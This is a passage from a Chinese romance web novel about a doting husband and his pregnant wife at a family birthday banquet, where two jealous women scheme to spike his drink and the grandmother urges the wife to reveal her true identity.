就着家里的食材给她包了一碗鲜肉小馄饨,简单吃了点东西。 这才带她去浴室洗漱。 他刚小心翼翼地将岑予衿安置在柔软的主卧大床上,给她盖好她最喜欢的这个嫩粉色蚕丝被,陆宸朝的电话就又打了过来。 他看了眼来电显示,眉头微蹙,走到阳台才接起。 “京洲,”陆宸朝的声音比之前更加恳切,甚至带上了几分不易察觉的请求,“我知道明月这次混账,千错万错都是她的错。但明天毕竟是孩子十八岁的成人礼,一辈子就这一次……你看,能不能和弟妹商量一下,赏脸过来坐坐?不需要太久,露个面就行。我让明月当着所有宾客的面,郑重给弟妹赔罪!绝对让她认识到错误!” 他顿了顿,补充道,“就当……给哥一个面子,也给明月一个改过的机会,行吗?” 电话那头沉默了几秒,陆京洲的声音冷淡依旧,没有半分转圜的余地,“哥,面子是靠自己挣的,不是别人给的。陆明月今天的所作所为,不是一句轻飘飘的道歉就能揭过。笙笙受了惊吓,需要静养,那种场合不适合她。至于奶奶那里,我会亲自解释。生日宴,我们就不去了。” 他说得斩钉截铁,没有丝毫犹豫。 “京洲……”陆宸朝还想再劝。 “就这样。”陆京洲直接打断,挂了电话。 他回到床边,看到岑予衿正睁着眼睛看他,显然听到了他刚才的话。 她轻轻拉了拉他的衣袖,“阿洲,这样直接拒绝……会不会不太好?毕竟是你亲堂哥,而且奶奶之前还特意跟我说,明天宴会上见。” 陆京洲坐在床边,握住她的手,语气放缓,“没什么不好。你做错了事,就要承担后果。我不能让你受了委屈,还去参加让你受委屈的人的宴会。” “我知道你是为我好。”岑予衿心里暖融融的,但还是说出自己的想法,“但我还是想去一趟。” “嗯?”陆京洲有些意外地看着她。 岑予衿斟酌着语句:“第一,就像你说的,奶奶不知道昨晚的事,她期待见面,我不想让她老人家失望。第二,大哥亲自打电话来,姿态放得那么低,我们若完全不给台阶,关系弄得太僵,你夹在中间也为难。第三……” 她顿了顿,眼底闪过一丝陆京洲看不太分明的光,声音压低了些,“我听说,这种级别的宴会,有时候会有些意想不到的客人,咱们俩就是初出茅庐的菜鸟。想要拿到继承权,还得从这些人身上入手。” 岑予衿见他眉头依旧微蹙,知道他还是不情愿。 她眨了眨眼,忽然撑起身子,凑到他面前,柔软的唇在他紧抿的唇角轻轻印了一下,像羽毛拂过。 “阿洲……”她声音软糯,带着点撒娇的意味,手臂环上他的脖颈,“你就答应我嘛,好不好?我跟奶奶约好了。” 陆京洲被她突如其来的亲昵弄得一怔,感受着唇边残留的温软触感和她身上淡淡的馨香,心头那点坚持不由自主地开始松动。 他垂眸看着近在咫尺的她,那双清澈的眸子里满是期待和依赖,让他硬不起心肠。 他喉结滚动了一下,声音低沉了几分,带着无奈的宠溺,“你就知道怎么拿捏我。” 这便是松口了。 岑予衿眼睛一亮,又在他脸颊上亲了一下,甜甜地道,“因为你最好啦!” 陆京洲揽住她的腰,防止她动作太大牵扯到伤处,神色却重新变得严肃起来,认真叮嘱,“可以去,但是记住我说的话。” 他目光深邃地看进她眼里,“不要那么轻易就原谅陆明月。她必须为她的行为付出代价,长足记性。你的善良和心软,不该用在纵容这种恶劣行为上。” 他太了解她了,表面看着清冷,其实内心柔软,很容易因为顾及场面或者别人的几句软话就选择息事宁人。 岑予衿收敛了笑容,同样认真地回望他,保证道,“你放心,我知道轻重。她推我,辱骂我,差点伤到宝宝,这不是小事。我不会因为她一句道歉就当什么都没发生过。该有的态度我会摆出来,不会让你觉得我软弱可欺,也不会让旁人觉得我们陆二少夫人是好拿捏的。” 她语气平和,眼神却带着一种清晰的坚定。 听到“陆二少夫人”几个字从她口中说出,带着一种自然的归属感,陆京洲眼底闪过一丝满意的光芒。 他喜欢她这种逐渐显露的、与他并肩的底气。 “记住你说的话。”他低头,额头轻轻抵着她的,语气缱绻又带着不容置疑的维护,“有任何不舒服或者任何人让你不开心了,我们随时可以离开。” “嗯!”岑予衿用力点头,安心地靠进他怀里。 第108章 早知道陆京洲是那样的人,我就嫁了 翌日清晨,檀月山庄的阳光透过落地窗,温柔地洒在柔软的大床上。 岑予衿是在一阵温暖而熟悉的触感中醒来的。 她微微动了动,发现自己整个人依旧被陆京洲紧密地圈在怀里,他的手臂坚实而安稳地环着她的腰,以一种绝对保护的姿态。 她抬起头,映入眼帘的是他沉睡的俊颜。 平日里冷峻的线条在晨光中显得柔和了许多,长睫低垂,呼吸均匀。 她忍不住轻轻伸出手指,隔空描摹他好看的眉骨和鼻梁。 这就是她的丈夫,外人眼中的二世祖,却在她身边展露着最不设防的温柔。 也许她对陆京洲来说就是不一样的吧。 陆京洲像是察觉到了她炙热的目光,浓密的睫毛颤了颤,缓缓睁开眼。 那双深邃的眸子初时还带着一丝刚醒的迷蒙,但在聚焦于她的瞬间,立刻漾开了清晰可见的暖意和柔情。 “媳妇儿,早上好。”他刚醒的声音带着性感的沙哑,低头在她额间落下一个轻柔的早安吻,“睡得好吗?有没有哪里不舒服?” 他的手已经下意识地抚上她的小腹,动作轻柔无比。 “早,阿洲。”岑予衿脸颊微红,在他怀里蹭了蹭,像只依赖主人的小猫,“睡得特别好,没有不舒服。” 她话音刚落,肚子里就传来一阵轻微的咕噜声。 岑予衿顿时窘得把脸埋进他胸口。 陆京洲低低地笑了起来,胸腔震动,带着愉悦的共鸣,“饿了?” 自从怀孕了之后就特别容易饿。 专家都说少食多餐,这其实一点没错。 再加上陆京洲厨艺杠杠的,每天都吃好多,这几天她肉眼可见的圆润了不少。 他小心地扶着她坐起身,“想吃什么?我让厨房准备,或者……我给你做?” “想吃你煎的太阳蛋和烤吐司。”岑予衿眼睛亮晶晶地看着他。 “好。”陆京洲毫不犹豫地应下,起身的动作利落却不忘仔细帮她掖好被角,“你再躺会儿,好了我叫你。” 看着他穿着睡袍伸了个懒腰出门的高大背影,岑予衿心里像是被蜜糖填满了。 要是能够一辈子这样就好了。 早餐是在卧室的阳台上用的,阳光正好,微风不燥。 陆京洲不仅煎了完美的太阳蛋和烤了香脆的吐司,还热了牛奶,细心地帮她吹温。 吃完早餐陆京洲一头扎进了书房,不知道在干什么。 岑予衿好奇,偷看了一眼,看了也没用,什么都看不懂。 也不想多说什么,窝在不远处的摇篮里追剧。 他虽然忙也没忘了她,还给她做了午餐。 吃完午餐,他安排好的专业造型团队也到了。 陆京洲亲自筛选了所有礼服和珠宝,最终选定了一条香槟色流光长裙,款式优雅保守,既能凸显岑予衿的气质,又不会过于紧绷让她不适。 最主要是她的手肘和膝盖有擦伤。 伤口还没有完全好,有袖子的长裙,能遮住,宽松一点也不会弄到伤口。 珠宝也只选了一套品质极佳但设计简约的珍珠首饰,低调温润。 当岑予衿打扮妥当,从衣帽间走出来时,等在外间的陆京洲目光瞬间定格,眼底是无法掩饰的惊艳。 他的笙笙,稍作打扮,便美得不可方物。 他走上前,极其自然地单膝微蹲,亲手为她穿上搭配好的柔软平底鞋,仰头看她,语气满是赞赏和骄傲,“我的媳妇儿太美了,今天一定会惊艳全场。” “就你嘴贫!身边美女如云,这嘴练的可真甜,跟抹了蜜似的。” 陆京洲替她穿好鞋子,缓缓起身,理了理她鬓边的碎发,声音满是宠溺,“可是这话我只跟我媳妇儿说过,相信我~” 陆家老宅的露天花园早已布置得流光溢彩,宾客云集。 当陆京洲的迈巴赫缓缓驶入,全场的目光瞬间聚焦过来。 车门开启,陆京洲身着黑色高定西装,身姿挺拔如松,冷冽的眉眼在看到岑予衿时,瞬间化为满腔温柔。 他伸出手,小心翼翼地护着她下车,掌心始终虚扶着她的腰,生怕她有丝毫闪失。 两人并肩走过红毯,俊男靓女的组合,瞬间惊艳了全场。 宾客们纷纷侧目,低声议论着,眼神里满是羡慕与惊艳。 “这位就是二少夫人?好漂亮!” “难怪能把花天酒地的二世祖制服,这气质绝了!” “看着就很般配啊,谁说他们是塑料夫妻的?” “早知道陆少结婚后会收心,这么宠老婆,我就先嫁了。” “谁说不是呢?那时候陆老太太挑选联姻对象的时候,哪个豪门世家看得上他?哪个千金小姐愿意嫁给他?” 到头来居然是个香饽饽。 “这你还真别说,他把写他绯闻的娱乐公司全告了,连那些绯闻女友都出来澄清了,人家身心都是干干净净的。” 低低的议论声传入陆明月和姜晚樱耳中,让两人的脸色都变得不太好看。 陆明月是纯粹的愤怒和不甘,而姜晚樱眼底则快速闪过一丝嫉妒和阴霾,手里的高脚杯都要捏碎了。 陆宸朝和陆老夫人见状,立刻迎了上去。 陆老夫人更是笑得合不拢嘴,拉着岑予衿的手连连称赞,“好好好,笙笙今天真漂亮!快来奶奶这边坐。” 陆京洲全程没有松开岑予衿的手,只是换成了更紧密的十指相扣的姿态。 他微微颔首向长辈致意,目光却始终分了大半在身边的小女人身上,低声问她,“累不累?要不要先坐下?” 岑予衿摇摇头,柔声道:“不累。” 陆明月在父亲的眼色催促下,不情不愿地走上前,硬邦邦地开口,“小叔,小婶婶,你们来了。” 她看向岑予衿,声音更低了点,“小婶婶,对不起,昨天是我冲动了,你想怎么惩罚我都行。” 岑予衿脸上的笑容淡了些,并没有立刻回应,只是平静地看着她。 陆京洲更是连眼神都没给陆明月一个,直接对陆宸朝道,“哥,笙笙不能久站,我们先去那边坐下。” 这无视的态度让陆明月瞬间涨红了脸,攥紧了拳头。 姜晚樱适时地上前,看似打圆场,实则火上浇油,“明月已经知道错了,京洲哥你就别生气了。周小姐……哦不,陆二少夫人看起来气色很好,应该没什么大碍了吧?” 她话里带着一丝不易察觉的试探和酸意。 陆京洲这才冷冷地瞥了姜晚樱一眼,语气疏离,“姜小姐,我夫人的事情,不劳你费心。” 说完,便揽着岑予衿的腰,径直走向主桌,将她妥帖地安置在座位上,自己则紧挨着她坐下。 整个宴会过程,陆京洲堪称“人形挂件”。 岑予衿只是多看了一眼远处的某道甜品,下一秒,陆京洲便低声询问,“想吃那个?” 得到肯定后,亲自起身去取。 她杯中的果汁喝了一半,他立刻示意侍者添满,水温都仔细试过。 有人上来寒暄敬酒,陆京洲一律以茶代酒,并淡淡解释,“我太太怀有身孕,不宜饮酒,我来。” 顺手就将岑予衿护在身侧,隔绝了任何可能的碰撞。 他俯身听她说话时,眼神温柔得能滴出水来,偶尔被她俏皮的话语逗得唇角微勾,那瞬间冰雪消融的魅力,不知看呆了多少在场宾客。 这些细节落在众人眼中,简直是大型宠妻实录,甜得发齁。 陆明月看着这一幕幕,尤其是看到自己那个高高在上、对谁都冷淡的小叔,竟然对那个周芙笙如此体贴入微,心中的妒火和怨恨几乎要将她吞噬。 她给姜晚樱使了个眼色。 姜晚樱会意,端着一杯酒,袅袅婷婷地走到主桌附近,寻找着机会。 终于,趁着陆京洲暂时被一位世交长辈拉住说话的间隙,姜晚樱快步上前,假装脚下一滑,手中的酒杯猛地朝岑予衿的方向泼去! “啊!”周围响起低呼。 然而,一直将大部分注意力放在岑予衿身上的陆京洲仿佛背后长了眼睛,反应极快地侧身一挡,同时将岑予衿牢牢护在怀里。 大半杯红酒,尽数泼洒在陆京洲挺括的西装外套袖子和后背上,洇开深色的酒渍。 “对不起!对不起京洲哥!我不是故意的!”姜晚樱连忙道歉,眼神却带着慌乱和一丝得意。 陆京洲眼神瞬间结冰,看都没看自己湿透的衣袖,先低头检查岑予衿,“有没有溅到?” 岑予衿摇摇头,握紧了他的手,看向姜晚樱的目光也冷了下来。 陆京洲这才抬眼,目光如冰冷的利箭射向姜晚樱,声音不大,却带着骇人的压迫感,“姜小姐,如果连路都走不稳,建议回家好好练习,而不是出来丢人现眼,伤及他人。” 姜晚樱被他看得脸色煞白,泫然欲泣,“我真的不是故意的……” “是不是故意,你心里清楚。”陆京洲毫不留情地打断她,随即对走过来的陆宸朝冷声道:“哥,看来这里的闲杂人等太多,空气不好,我带笙笙去休息室处理一下。” 他直接用了“闲杂人等”四个字,让姜晚樱彻底无地自容。 陆宸朝脸色也很难看,瞪了姜晚樱一眼,连忙道,“快去快去,这边我来处理。” 陆明月见计划失败,姜晚樱还惹了一身骚,又急又气。 眼看着陆京洲护着岑予衿往休息室走去,她想起自己最后的杀手锏。 她悄悄绕到服务生身边,将早已准备好的无色无味的强效药粉,下在了一杯香槟里。 第109章 让她亲自端给他喝 陆明月脸色铁青地看着小叔护着那个女人的背影,指甲深深掐进掌心。 她快步走到面色惨白的姜晚樱身边,压低声音急促地说,“晚樱姐姐,你先去二楼我准备好的那个房间等着,我来就好。” 姜晚樱一愣,随即明白了她的意图,眼中闪过一丝犹豫,但更多的是被嫉妒冲昏头脑的决绝。 刚才那杯酒,她就是故意洒在他身上的,看着两人在自己面前亲密的模样,就觉得碍眼。 而且……如果那杯酒是自己亲自送到他手里,那就算事情成了,陆京洲也绝对不会善罢甘休。 但是……陆明月送的就不一样,到最后她也有办法把自己撇的干干净净。 陆明月有她爸护着,而且她那脑子,根本想不出这么复杂的情况。 “月月,这也太冒险了,要不还是算了吧,我不想让你受到任何伤害,哪怕我真的很喜欢……喜欢你小叔。” “晚樱姐姐,反正现在还年轻,喜欢就大胆追求,大胆的睡了他,怕什么?你长得那么漂亮,人又那么好,我小叔又不是瞎子,迟早他会知道只有你才配得上他。只有你才有资格当我的小婶婶。” 姜晚樱看着面前的小傻子,嘴角都抑制不住了。 她伸手按住陆明月的肩膀,指尖带着刻意的颤抖,眼底瞬间凝起一层水雾,语气哽咽得恰到好处,“月月,你对我太好了……可是我真的怕,万一被京洲哥发现,他会不会恨死我?到时候连你也会被我连累……” 她一边说,一边抬手抹了抹不存在的眼泪,余光却精准地捕捉到陆明月眼中愈发浓烈的决绝。 陆明月被她这副“为自己着想”的模样感动得一塌糊涂,用力拍了拍胸脯,语气斩钉截铁,“晚樱姐姐你放心!出了事我一力承担!我就说是我自己不甘心,想让小叔看清那个女人的真面目,跟你一点关系都没有!我爸最疼我了,他一定会护着我的!” “可是……”姜晚樱咬着唇,露出一副左右为难的样子,心里却早已冷笑连连。 护着你?等陆京洲真的动了怒,陆宸朝自身都难保,哪里还有精力护着这个被宠坏的蠢货。 她故意顿了顿,看着陆明月急得团团转的样子,才“勉为其难”地松了口,“那……那好吧。月月,我听你的。但你一定要小心,千万不能让别人发现。” “知道知道!”陆明月连忙点头,眼里闪烁着自以为是的聪明,“我已经想好办法了,等会儿我就去跟小叔说,我有重要的话要单独跟他说,把他引到二楼房间里。到时候你就藏在门后,等他喝了那杯加了料的酒,剩下的事情就交给你了!” “好。”姜晚樱轻轻点头,伸手抱了抱她,声音温柔得能滴出水来,“月月,你真是我的好妹妹。等我和你小叔在一起了,一定不会忘了你的好。” 她的怀抱柔软,语气真挚,陆明月完全没察觉到,身后的人眼底翻涌着何等阴狠的算计。 看着陆明月转身急匆匆地去安排,姜晚樱脸上的温柔瞬间褪去,取而代之的是一丝冰冷的嘲讽。 她理了理自己的礼服裙摆,眼底闪过一丝势在必得的光芒。 趁着没人注意,悄悄从侧面的楼梯上了楼。 陆明月则深吸一口气,端起那杯下了药的香槟,整理了一下表情,朝着休息室走去。 休息室内,陆京洲刚脱下被酒泼脏的外套,露出里面熨帖的黑色衬衫。 他正用湿毛巾小心地擦拭着岑予衿的手背,刚才虽然挡得快,还是有一两滴酒液溅到了她手上。 “没事的,阿洲,就一点点。”岑予衿看着他紧蹙的眉头,柔声安抚。 “脏。”陆京洲只回了一个字,动作却越发轻柔,仿佛在对待一件稀世珍宝。 这时,休息室的门被轻轻敲响。 “进。”陆京洲头也没抬,语气淡漠。 陆明月端着酒杯走了进来,脸上堆着小心翼翼的笑容,“小叔,小婶婶,刚才真是抱歉,又让您受惊了。这杯酒……我敬您,再次向您赔罪,希望您能原谅我昨天的鲁莽。” 她将酒杯递向陆京洲,心脏在胸腔里狂跳。 陆京洲终于抬眸,冷冷地扫了她一眼,又瞥了一眼她手中的酒杯,眼神锐利如刀,仿佛能穿透一切伪装。 “拿出去。”他声音没有一丝温度,甚至带着明显的厌烦。 陆明月手一抖,强撑着笑容,“小叔,我是真心实意道歉的……” “我说,拿出去。”陆京洲打断她,语气加重,带着不容置疑的威压,“你递过来的任何东西,我都不接。听不懂吗?” 他这话说得极其直白且不留情面,几乎是明着告诉陆明月,他根本不信她,并且对她充满了警惕。 陆明月的脸瞬间血色尽失,尴尬、难堪、还有计划失败的恐慌交织在一起,让她几乎端不稳酒杯。 岑予衿安静地坐在一旁,自始至终没有看那杯酒,也没有替陆明月说一句话,只是轻轻握住了陆京洲空着的那只手,无声地表达支持。 陆明月在那冰冷的目光下再也待不住,端着那杯成了烫手山芋的香槟,灰溜溜地退出了休息室,后背惊出了一身冷汗。 门外,她看着杯中澄澈的液体,气得浑身发抖。 小叔他竟然防备至此! 连她递的酒看都不看就拒绝! 而休息室内,陆京洲丢开毛巾,将岑予衿的手紧紧包裹在掌心,语气带着余怒和心疼,“看到没有?到现在还不知悔改,竟然还想耍这种手段!” 岑予衿靠进他怀里,声音软软的,“还好你警惕性高。不过……她为什么非要你喝这杯酒?” 陆京洲眼神一寒,冷哼一声,“无非是些下作手段。看来给她的教训还是太轻了!” 他搂紧怀里的人,心中已然有了决断。 陆明月和姜晚樱,一个都别想轻易过关! 敢把主意打到他和他媳妇儿头上,就要承担得起后果! 岑予衿没想那么多,自己不原谅她也是对的。 乖乖的坐在椅子上打量着房间的布置,眼里满是羡慕。 “媳妇儿,看什么呢?” 岑予衿摇了摇头,“没什么,就觉得挺热闹的。” 她18岁生日那天,恰好岑家出事儿。 前一秒所有人都还在给她庆祝生日,整个人仿佛置身于天堂,下一秒,就跌入了地狱。 迎接她的是无尽的深渊,好在陆京洲把她拉出来了。 陆京洲一下子就明白了她的眼神。 她从小就没爹没娘,作为周家的养女肯定受了不少委屈,当然也没有过过一次生日。 她应该很羡慕吧! 手掌紧握成拳,他媳妇儿才不用羡慕任何人。 陆明月端着那杯没送出去的酒,失魂落魄地躲到宴会厅外的露台上,夜风一吹,她忍不住打了个寒颤。 18岁生日过的一点也不开心。 不一会儿,姜晚樱也悄悄找了过来,见她手里还端着那杯酒,心里就明白了七八分。 她故作关切地走上前,“月月,怎么了?是不是……不顺利?没关系的。” 陆明月把酒杯重重放在栏杆上,带着哭腔,“小叔他根本不信我!连碰都不碰!哪有机会给她喝呀?” 姜晚樱眼底闪过一丝失望,但很快被更深的算计取代。 她轻轻拍着陆明月的背安抚,“没关系,这次不行,我们还有下次。来日方长,总能找到机会的。” 她心里却在快速盘算,必须找一个陆京洲绝对不会防备的人…… 就在这时,她们看到陆老夫人亲切地拉着岑予衿的手,朝偏厅走去,似乎有什么话要单独说。 而陆京洲则被几位叔公辈的长辈围住寒暄,他揉了揉额角,脸色似乎有些疲惫,偶尔还轻咳两声。 姜晚樱眼睛猛地一亮! 机会来了! 她记得之前隐约听到陆京洲的助理提过一句,说陆少这两天有点着凉。 她立刻凑到陆明月耳边,压低声音快速说道,“月月,你看京洲哥,是不是好像感冒了?我听说奶奶让小厨房炖了驱寒的姜汤准备着……” 陆明月顺着她的目光看去,果然看到有佣人端着一个精致的炖盅走向偏厅方向,显然是给老太太准备的。 她还没完全明白,“晚樱姐姐,你的意思是?” 姜晚樱嘴角勾起一抹隐秘的笑,“你说,如果是周芙笙亲自端过去的姜汤,京洲哥还会不喝吗?” 陆明月瞬间懂了,眼睛也亮了起来,“对啊!小叔那么信任她!可是……我们怎么让那女人……” “不用我们让她去。”姜晚樱成竹在胸,“奶奶不是把她叫走了吗?剂量加倍,效果才够快。月月,你去找那个端姜汤的佣人,提醒一下奶奶,让奶奶把姜汤交给周芙笙带过去,那就没问题了。” “晚樱姐姐,你也太聪明了。”陆明月此刻对姜晚樱已是言听计从,立刻点头去找那个佣人。 第110章 她送的,哪怕是毒药他也会喝 陆老太太好久没见过岑予衿了,这会儿看到她就想和她好好说会话。 “衿衿,这几天还胖了一圈,那臭小子,把你照顾的不错呀!”陆老太太扶着她的肩膀左右看了一圈,话里满是欣慰。 自从知道她身份之后,她私底下就没叫过她笙笙,再怎么说岑予衿才是她的真实身份。 每叫一句就像在她的心上扎一根针,翻来覆去的在她的伤口上撒盐。 不过,坦白的事情,是他们小两口之间的事情她不掺和。 结婚后陆京洲的变化,她也是看在眼里的,这桩婚事是她撮合的一点不后悔。 前几天,网上还闹得沸沸扬扬的,说他澄清了以前做的那些混账事儿。 她活了这么老些年了,还是第一次见他孙子这么认真。 “是胖了一圈了,阿洲做的饭太好吃了,很合我胃口,完全是把我当成猪在养。” 陆老太太笑着打趣,“真是羡慕,作为他亲奶奶都没吃过他做的饭,我这把老骨头怕是等不到吃他亲手做的饭喽~” 岑予衿被老太太打趣得脸颊发烫,指尖下意识抚上小腹,语气里带着藏不住的软意,“奶奶您可别这么说,他现在天天研究菜谱,等您下次来,让他给您露一手,保证合您胃口。” 陆老太太被这话逗得直乐,眼角堆起了慈祥的细纹。 轻轻拍着岑予衿的手背,目光里满是疼爱,“好好好,他懂得疼人,会照顾你,奶奶就放心了。你们小两口感情好,比什么都强。” 毕竟这桩婚事是她一手促成的,要是两人成了冤家,她这心里总是不踏实的。 不过,她看人的眼光一向准,这次她也没有看错人。 一类人总有一类人能降得住。 陆京洲那样的二世祖,只有像衿衿这样又软又乖,细心又有独立意识的女孩才能控制得住他。 话题自然而然地转到了两人身上,陆老太太压低了些声音,带着点好奇与关怀,“看你们现在这样蜜里调油的,奶奶心里真是比喝了蜜还甜。跟奶奶说说,那臭小子现在……还像以前那么闹腾?会不会说点贴心话了?” 岑予衿脸上泛起一层薄薄的红晕,眼神柔软了下来,“他呀,话多的不得了,什么事儿都不会藏着掖着,行动上一点不含糊。知道我怕冷,每天睡前都记得帮我热好牛奶,放在床头。有时候我半夜腿抽筋,他睡得再沉也会立刻醒过来帮我揉……” 她说着,语气里带着自己都未察觉的依赖与满足。 还有他表白也特别认真,可以说是轰轰烈烈的。 她第一次体验不一样的爱情。 “这就对了!男人嘛,疼媳妇儿不在嘴上,得看行动。”陆老太太满意地点点头,随即目光慈爱地落到岑予衿已经明显隆起的小腹上,“光顾着说那小子了,快跟奶奶说说,我的小曾孙最近乖不乖?你感觉怎么样?” 提到孩子,岑予衿的神情更加柔和,下意识地用手轻轻抚摸着肚子,语气带着些许不可思议的惊喜,“奶奶,上次产检,医生说是双胞胎。” “双胞胎?!”陆老太太惊喜地提高了声音,眼睛都亮了几分,“哎哟!这可是天大的福气啊!我们陆家多久没有过这样的喜事了!衿衿,你可是我们家的功臣!” 惊喜过后,关切立刻涌了上来。 老人仔细端详着岑予衿的脸,果然看到一丝掩藏不住的疲惫。 “怀一个都辛苦,你这怀两个,肯定更累吧?是不是吃也吃不好,睡也睡不踏实?” “是有点累,”岑予衿诚实地点点头,带着点孕期特有的娇憨与忧虑,“身子重,走一会儿就觉得累。” 她顿了顿,声音小了些,带着点不好意思,“我最近总担心肚子长得太快,以后会长纹,听说长了就很难消……” 陆老太太立刻了然,宽慰道,“别怕别怕,女孩子都爱美,可这都是当妈妈难免要经历的。” 身上不管长没长妊娠纹,心理也总会惦记着这件事情,对自己也是一种折磨。 这种事情只有经历过的人才懂。 “咱们能做的只有好好护理,只要不长出来就没事儿。京洲那小子,心细不细?这些他懂不懂照顾到?” 说到这个,岑予衿眼里漾开一抹真切的笑意,那点忧虑也被冲淡了不少,“他比我还在意呢。不知道从哪里看了好多资料,买了各种说是有用的妊娠油和乳霜。现在每天晚上雷打不动的一项任务。” 她说着,忍不住轻笑出声,“手法倒是越来越娴熟了,还挺像那么回事的。” 反正比她自己涂的要好。 陆老太太听着,心里那份欣慰满得几乎要溢出来,她长长舒了口气,紧紧握住岑予衿的手。 “好,好啊……看到他这么疼你、顾家,奶奶这颗心算是彻底放下了。衿衿,你现在最重要的就是放宽心,好好养着,有什么想吃的、想要的,尽管使唤他。他要是敢有半点不耐烦,奶奶第一个不答应!” 岑予衿轻轻的将手搭在自己的肚子上,声音温柔,“奶奶,您就放心吧,我们会一直很幸福的。” 马上他们就是一家四口了。 “那你有想过什么时候和他坦白吗?”陆老太太还是没忍住,提了一嘴,小心翼翼的拉过她的手,放在自己手心拍了拍,“笙笙,有些在你看来善意的谎言,换个角度,不一定就是善意的,到最后就只剩下谎言了。” 岑予衿怎么会不懂那个道理,可是……她就是说不出口,就是会害怕。 那种不安全感是打心底里出来的,怎么控制都控制不住。 她真的害怕,说了之后她就一无所有,回到了被所有人孤立的煞星。 至少……等月份再大一些吧! 她也不想孕期情绪不稳定,对宝宝影响特别大。 现在这样的生活只要周时越没有恢复记忆,纠缠她,她的幸福就不会被破坏。 想到这个她又自嘲的笑了笑,哪怕他恢复记忆又怎么样呢? 又不是说这三年的记忆会和以前的记忆等价交换,这三年的记忆会消失。 记忆没消失,1000多个日夜陪在他身边的女人是林舒薇,他对她又怎么可能一点感情都没有? 更何况他们现在已经有孩子了,有了孩子之后就会有羁绊,绝对不可能老死不相往来。 而孩子是塞不回去的。 她不掺和他们之间的事情,他也不要来打扰自己的幸福。 反正以前心里眼里都是她的周时越已经死了。 现在的她只希望周时越这辈子都别恢复记忆。 他们两不相欠。 陆老太太感受到她手心微微发凉,又见她眼神飘忽,知道这孩子心里藏着事。 轻轻叹了口气,布满皱纹的手更紧地包裹住岑予衿微凉的手指。 “衿衿,”老太太的声音放得极轻,带着历经岁月沉淀下来的温和力量,“奶奶不是逼你。只是奶奶活到这把年纪,看得多了,再坚固的城墙,若是地基下埋着没说清楚的种子,风雨来时,也容易生出裂痕。” 岑予衿睫毛轻颤,抬起眼,对上老人通透而慈和的目光。 那目光仿佛能看进她心底最深处的惶恐。 “京洲那孩子,奶奶是看着他长大的。他从前是混账,是让人不省心,可正因为他经历过、迷失过,如今认定了你,那份心才比金子还真。你瞧他现在,把你,把这个家,看得比什么都重。你怀着他的两个宝宝,是他放在心尖上的人,有什么事,是他不能和你一起担着的呢?” “奶奶,我……”岑予衿喉间有些哽咽,那些压在心底的、关于岑予衿这个身份,关于周时越可能恢复记忆的恐惧,几乎要冲口而出,可话到嘴边,又变成了一声带着颤音的叹息,“我只是……还没准备好。” 她垂下头,视线落在自己微微隆起的小腹,那里正孕育着两个与她血脉相连的小生命,也是她和陆京洲之间最坚实的纽带。 “我不想现在有任何事情,影响到宝宝,影响到……我们这个家。” 她声音越来越小,带着近乎脆弱的祈求,“再给我一点时间,好吗?” 陆老太太看着她这副模样,心疼得不行,哪里还忍心再说重话。 她伸手,像安抚小孩子一样,轻轻抚摸着岑予衿的头发。 “好,好,不急,咱们不急。”老太太柔声道,“你现在啊,最大的任务就是吃好睡好,保持心情舒畅,给我生两个白白胖胖的曾孙孙。至于其他的,船到桥头自然直。奶奶信你,也信阿洲,你们小两口的日子,终究要你们自己过出来。” 正说着,敲门声轻轻响起,打断了客厅里这片刻的沉凝。 赵姐端着一个托盘走进来,上面放着一碗正冒着热气的姜汤,空气中立刻弥漫开一股辛辣又温暖的气息,“老太太,您吩咐给二少爷熬的姜汤好了。” 赵姐笑着说道。 岑予衿忍不住皱起了眉头,她特别讨厌生姜!!! 陆京洲喝了姜汤,可别想亲她! 陆老太太这才恍然记起,轻轻拍了下自己的膝盖,“瞧我这记性!光顾着和笙笙说话,把正事儿忘了。京洲那小子有点感冒,我让赵姐给他熬了碗姜汤。可他从小最讨厌的就是生姜味儿,别人送去,他准是阳奉阴违地倒掉。” 老太太说着,目光转向岑予衿,眼里带着明晃晃的笑意,“笙笙啊,正好你在这儿,这艰巨的任务就交给你了。你去送,他看在你的面子上,肯定捏着鼻子也得喝下去。” 岑予衿微怔,随即明白了老太太的用意。 她送过去的,哪怕是毒药他也会喝。 她看着那碗深色的汤水,又生出了一种想去见他的迫切。 她点点头,接过托盘,碗壁传来的温热似乎也顺着指尖传递到了心里,“好,奶奶,我这就给他送去。” “快去吧,看着他喝完再回来告诉我,今天晚上在老宅住,别回去了嗷。”陆老太太慈爱地挥挥手。 第111章 解决一下副作用 岑予衿才刚站起来呢,陆京洲高大的身影就出现在了客厅门口。 他显然是刚从宴会上脱身,西装外套随意搭在臂弯,领带也松了些,目光在室内一扫,便精准地落在岑予衿身上。 “在聊什么?大老远就听见奶奶的笑声了。”他边说边走过来,很自然地坐到岑予衿身边,将她手里的托盘拿下来放到桌子上。 “媳妇儿,医生说了不能拿重物。” 岑予衿看了一眼连带托盘还不到两斤的姜汤,这也算重物? 陆京洲手臂环过她的腰后,温热的手掌轻轻覆在她微隆起的肚子上,动作熟练又充满占有欲,“一点也不乖。” 他先是看了眼奶奶,随即视线便黏在岑予衿脸上,敏锐地捕捉到她眼底那一丝未散尽的异样。 “怎么了?”他眉头几不可察地蹙起,声音低沉了几分,带着询问看向岑予衿,又转向奶奶,“奶奶,您又跟我老婆说啥了?看把她惹的。” 陆老太太见孙子这护犊子的样儿,心里又是好笑又是熨帖,故意板起脸,“怎么?我还不能正常跟我孙媳妇儿聊天了?瞧把你紧张的!” “没有,奶奶在夸你呢。”岑予衿语气轻快,带着点娇嗔,“说你现在变得特别会疼人。” 陆京洲挑了挑眉,显然不全信,目光在她脸上细细掠过,像是要确认什么。 但他见她不愿多说,也只是反手握住她的手,指腹在她手背上轻轻摩挲着,带着无声的安抚。 陆老太太看着这小两口旁若无人的亲昵,心里那点因方才话题带来的隐忧,又被这眼前的甜蜜冲淡了些。 她笑着指了指桌上的姜汤,“喏,正说你呢,知道你有点感冒,特意让赵姐熬了姜汤。正好笙笙在这儿,快,趁热喝了。” 陆京洲一看到那碗深色的汤水,闻到那熟悉的辛辣味,眉头立刻嫌弃地皱起,身体几不可察地往后仰了仰,语气里带着抗拒,“奶奶,我没事,不用喝这个。” “什么没事!我都听你声音有点鼻音了!你生病了不要紧,要是传染给你老婆怎么办?她怀着宝宝,不能吃药不能打针,怎么熬?” 老太太不容置疑,“必须喝!笙笙,你看着他喝。” 陆京洲眉头皱的紧紧的,奶奶说的也不是,一点道理都没有。 他天天和她躺在一张床上,这感冒要是传染给她,那还不知道娇气的她会难受成什么样子。 